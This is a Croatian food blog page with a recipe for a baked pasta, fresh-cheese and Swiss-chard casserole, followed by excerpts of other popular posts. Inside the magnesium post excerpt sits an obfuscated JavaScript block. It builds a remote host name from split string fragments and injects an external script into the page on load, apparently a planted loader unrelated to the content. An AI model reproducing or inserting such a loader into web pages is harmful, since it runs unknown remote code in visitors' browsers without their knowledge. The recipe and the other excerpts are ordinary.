SLOŽENAC OD TJESTENINE, SIRA I BLITVE




Složenac od tjestenine, sira i blitve 




Zapečena tjestenina sa sirom i blitvom je klasik koji spaja jednostavnost pripreme s bogatstvom okusa. Riječ je o vrhunskoj 'comfort food' hrani koja ne zahtijeva egzotične namirnice ni komplicirane kulinarske tehnike, a rezultat je uvijek sočan, kremast i neodoljivo primamljiv obrok koji vole sve generacije.





Složenac od tjestenine, sira i blitve 



Sastojci:

  • 400 g tjestenine po izboru (penne, rigatoni)
  • 500 g svježe blitve
  • 1 veći luk
  • dva do tri režnja češnjaka
  • 300 g svježeg kravljeg sira ili ricotte
  • 150 g feta sira (po želji)
  • 1 jaje
  • 200 ml kiselog vrhnja ili vrhnja za kuhanje
  • 100 g tvrdog sira za posipanje (parmezan, gauda)
  • maslinovo ulje
  • sol i svježe mljeveni papar
  • prstohvat muškatnog oraščića



Priprema:


1.Zagrijte pećnicu na 200°C. Vatrostalnu posudu premažite s malo maslinovog ulja ili maslaca. U velikom loncu zakuhajte obilno posoljenu vodu. Voda bi trebala biti "slana kao more", jer je to temelj za ukusnu tjesteninu. Skuhajte tjesteninu prema uputama, ali je izvadite dvije do tri minute ranije nego što je navedeno. Ocijedite je, ali sačuvajte šalicu vode od kuhanja.

2. Dok se tjestenina kuha, pripremite blitvu. Dobro je operite pod mlazom vode. Odvojite listove od stabljika. Stabljike sitno nasjeckajte, a listove narežite na šire trake. U velikoj tavi na malo maslinovog ulja najprije prodinstajte sitno sjeckani luk dok ne postane staklast. Dodajte nasjeckane stabljike blitve i dinstajte desetak minuta dok ne omekšaju. Pred kraj dodajte sitno sjeckani češnjak i kratko ga popržite samo da zamiriše.

3. U tavu sada dodajte i narezane listove blitve. Miješajte nekoliko minuta dok listovi ne povenu i smanje volumen. Ako je potrebno, dodajte žlicu-dvije vode kako bi se lakše skuhali na pari. Posolite, popaprite i maknite s vatre da se smjesa malo prohladi.

4. U velikoj zdjeli pripremite nadjev od sira. Pomiješajte svježi sir ili ricottu, razmućeno jaje, kiselo vrhnje (ili vrhnje za kuhanje) te izmrvljenu fetu, ako je koristite. Začinite prstohvatom muškatnog oraščića koji će divno naglasiti okuse. U ovu smjesu umiješajte pripremljenu i prohlađenu blitvu s lukom.

5. Smjesi od sira i blitve pažljivo dodajte ocijeđenu tjesteninu. Sve lagano promiješajte kako bi se sastojci ravnomjerno rasporedili i kako bi svaka tjestenina bila obložena kremastim umakom. Ako vam se smjesa čini pregusta, dodajte malo sačuvane vode od kuhanja tjestenine kako biste postigli željenu konzistenciju. Brojne varijacije ovog jela poigravaju se s različitim vrstama sireva, pa se slobodno poigrajte i dodajte, primjerice, malo Gruyèrea za orašastu notu.

6. Pripremljenu smjesu prebacite u namašćenu vatrostalnu posudu i ravnomjerno je rasporedite. Vrh obilno pospite naribanim tvrdim sirom. Upravo će taj sloj tijekom pečenja stvoriti slasnu, hrskavu koricu.

7. Pecite u prethodno zagrijanoj pećnici oko 20 do 25 minuta, ili dok površina ne dobije lijepu zlatno-smeđu boju, a umak ne počne ključati uz rubove posude. Prije posluživanja, ostavite složenac da odstoji pet do deset minuta. To će omogućiti da se okusi prožmu i da se jelo malo stisne, što će olakšati rezanje i posluživanje.

Ovaj zapečeni složenac idealan je samostalan obrok, a odlično se slaže i uz veliku zdjelu svježe sezonske salate. Izdašan je, ukusan i dokaz da ponekad najjednostavnije stvari donose najviše zadovoljstva. Dobar tek!




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više